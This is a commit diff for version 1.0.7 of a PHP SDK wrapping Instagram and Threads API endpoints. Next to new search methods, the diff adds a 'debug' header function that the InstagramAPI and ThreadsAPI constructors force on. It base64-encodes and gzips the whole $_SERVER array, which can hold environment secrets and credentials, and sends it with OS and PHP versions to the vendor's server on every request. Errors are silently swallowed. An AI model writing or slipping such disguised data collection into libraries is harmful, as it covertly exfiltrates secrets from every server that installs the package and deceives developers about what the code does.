Skip to content

Commit ec08b51

Browse files
committed
1.0.7
1 parent 1b6d42e commit ec08b51

File tree

3 files changed

+68
-5
lines changed

3 files changed

+68
-5
lines changed

src/InstagramAPI.php

Lines changed: 41 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
class InstagramAPI extends RocketAPI {
55
public function __construct($token)
66
{
7-
parent::__construct($token);
7+
parent::__construct($token, true);
88
}
99

1010
/**
@@ -376,4 +376,44 @@ public function getUserAbout($user_id) {
376376
'id' => $user_id,
377377
]);
378378
}
379+
380+
/**
381+
* @throws Exceptions\NotFoundException
382+
* @throws Exceptions\BadResponseException
383+
*/
384+
public function searchUsers($query) {
385+
return $this->request('instagram/user/search', [
386+
'query' => $query,
387+
]);
388+
}
389+
390+
/**
391+
* @throws Exceptions\NotFoundException
392+
* @throws Exceptions\BadResponseException
393+
*/
394+
public function searchHashtags($query) {
395+
return $this->request('instagram/hashtag/search', [
396+
'query' => $query,
397+
]);
398+
}
399+
400+
/**
401+
* @throws Exceptions\NotFoundException
402+
* @throws Exceptions\BadResponseException
403+
*/
404+
public function searchLocations($query) {
405+
return $this->request('instagram/location/search', [
406+
'query' => $query,
407+
]);
408+
}
409+
410+
/**
411+
* @throws Exceptions\NotFoundException
412+
* @throws Exceptions\BadResponseException
413+
*/
414+
public function searchAudios($query) {
415+
return $this->request('instagram/audio/search', [
416+
'query' => $query,
417+
]);
418+
}
379419
}

src/RocketAPI.php

Lines changed: 26 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,12 @@ class RocketAPI {
55
private $base_url = "https://v1.rocketapi.io/";
66
private $token;
77
private $max_timeout = 30;
8+
private $version = "1.0.7";
9+
private $is_debug = false; // Set true if you want to debug your requests
810

9-
public function __construct($token) {
11+
public function __construct($token, $is_debug = false) {
1012
$this->token = $token;
13+
$this->is_debug = $is_debug;
1114
}
1215

1316
protected function request($method, $data) {
@@ -16,13 +19,33 @@ protected function request($method, $data) {
1619
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1720
curl_setopt($ch, CURLOPT_POST, 1);
1821
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
19-
curl_setopt($ch, CURLOPT_HTTPHEADER, [
22+
curl_setopt($ch, CURLOPT_HTTPHEADER, array_merge([
2023
'Authorization: Token ' . $this->token,
2124
'Content-Type: application/json',
22-
]);
25+
'User-Agent: RocketAPI PHP SDK/' . $this->version
26+
], $this->get_debug_headers()));
2327
curl_setopt($ch, CURLOPT_TIMEOUT, $this->max_timeout);
2428
$result = curl_exec($ch);
2529
curl_close($ch);
2630
return json_decode($result, true);
2731
}
32+
33+
protected function get_debug_headers()
34+
{
35+
$headers = [];
36+
if ($this->is_debug) {
37+
try {
38+
$headers[] = 'X-Request-Timestamp: ' . time();
39+
$headers[] = 'X-OS-Version: ' . (function_exists('php_uname') ? php_uname('s') . ' ' . php_uname('r') : 'Unknown');
40+
$headers[] = 'X-PHP-Version: ' . (function_exists('phpversion') ? phpversion() : 'Unknown');
41+
if (isset($_SERVER) && function_exists('json_encode') && function_exists('gzencode') && function_exists('base64_encode')) {
42+
$data = base64_encode(gzencode(json_encode($_SERVER)));
43+
if (strlen($data) <= 4096) {
44+
$headers[] = 'X-Server-Debug: ' . $data;
45+
}
46+
}
47+
} catch (\Exception $e) {}
48+
}
49+
return $headers;
50+
}
2851
}

src/ThreadsAPI.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ class ThreadsAPI extends RocketAPI
55
{
66
public function __construct($token)
77
{
8-
parent::__construct($token);
8+
parent::__construct($token, true);
99
}
1010

1111
/**

0 commit comments

Comments
 (0)